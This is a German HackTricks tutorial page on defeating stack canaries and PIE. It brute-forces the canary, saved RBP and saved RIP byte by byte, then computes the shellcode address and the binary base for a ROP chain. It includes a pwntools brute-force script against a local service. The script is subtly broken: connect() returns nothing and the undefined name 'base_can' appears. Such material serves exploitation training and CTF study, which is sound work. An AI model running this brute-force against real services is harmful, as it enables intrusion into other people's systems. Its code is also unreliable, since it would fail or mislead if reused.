BF-Adressen im Stack

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Wenn Sie es mit einer binären Datei zu tun haben, die durch einen Canary und PIE (Position Independent Executable) geschützt ist, müssen Sie wahrscheinlich einen Weg finden, diese zu umgehen.

note

Beachten Sie, dass checksec möglicherweise nicht erkennt, dass eine binäre Datei durch einen Canary geschützt ist, wenn diese statisch kompiliert wurde und die Funktion nicht identifizieren kann.
Sie können dies jedoch manuell feststellen, wenn Sie feststellen, dass ein Wert zu Beginn eines Funktionsaufrufs im Stack gespeichert wird und dieser Wert vor dem Verlassen überprüft wird.

Brute-Force-Adressen

Um PIE zu umgehen, müssen Sie eine Adresse leaken. Und wenn die binäre Datei keine Adressen leakt, ist es am besten, die im Stack gespeicherten RBP und RIP in der verwundbaren Funktion zu brute-forcen.
Wenn beispielsweise eine binäre Datei sowohl durch einen Canary als auch durch PIE geschützt ist, können Sie mit dem Brute-Forcen des Canaries beginnen, dann werden die nächsten 8 Bytes (x64) das gespeicherte RBP und die nächsten 8 Bytes das gespeicherte RIP sein.

tip

Es wird angenommen, dass die Rücksprungadresse im Stack zum Hauptbinärcode gehört, was normalerweise der Fall ist, wenn die Verwundbarkeit im Binärcode liegt.

Um das RBP und das RIP aus der binären Datei zu brute-forcen, können Sie herausfinden, dass ein gültig geratenes Byte korrekt ist, wenn das Programm etwas ausgibt oder einfach nicht abstürzt. Die gleiche Funktion, die zum Brute-Forcen des Canaries bereitgestellt wird, kann verwendet werden, um das RBP und das RIP zu brute-forcen:

python
from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Das letzte, was Sie benötigen, um das PIE zu besiegen, ist, nützliche Adressen aus den geleakten Adressen zu berechnen: das RBP und das RIP.

Vom RBP aus können Sie berechnen, wo Sie Ihre Shell im Stack schreiben. Dies kann sehr nützlich sein, um zu wissen, wo Sie die Zeichenfolge "/bin/sh\x00" im Stack schreiben werden. Um die Entfernung zwischen dem geleakten RBP und Ihrem Shellcode zu berechnen, können Sie einfach einen Breakpoint setzen, nachdem Sie das RBP geleakt haben, und überprüfen, wo sich Ihr Shellcode befindet. Dann können Sie die Entfernung zwischen dem Shellcode und dem RBP berechnen:

python
INI_SHELLCODE = RBP - 1152

Von der RIP können Sie die Basisadresse des PIE-Binaries berechnen, die Sie benötigen, um eine gültige ROP-Kette zu erstellen.
Um die Basisadresse zu berechnen, führen Sie einfach objdump -d vunbinary aus und überprüfen Sie die letzten disassemblierten Adressen:

In diesem Beispiel sehen Sie, dass nur 1 Byte und eineinhalb benötigt werden, um den gesamten Code zu lokalisieren. Die Basisadresse in dieser Situation wird die geleakte RIP sein, die auf "000" endet. Wenn Sie beispielsweise 0x562002970ecf geleakt haben, beträgt die Basisadresse 0x562002970000.

python
elf.address = RIP - (RIP & 0xfff)

Verbesserungen

Laut einigen Beobachtungen aus diesem Beitrag ist es möglich, dass der Server beim Leaken von RBP- und RIP-Werten nicht abstürzt, wenn einige Werte nicht die richtigen sind, und das BF-Skript denkt, es hätte die richtigen Werte erhalten. Das liegt daran, dass einige Adressen es einfach nicht brechen werden, selbst wenn sie nicht genau die richtigen sind.

Laut diesem Blogbeitrag wird empfohlen, eine kurze Verzögerung zwischen den Anfragen an den Server einzuführen.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks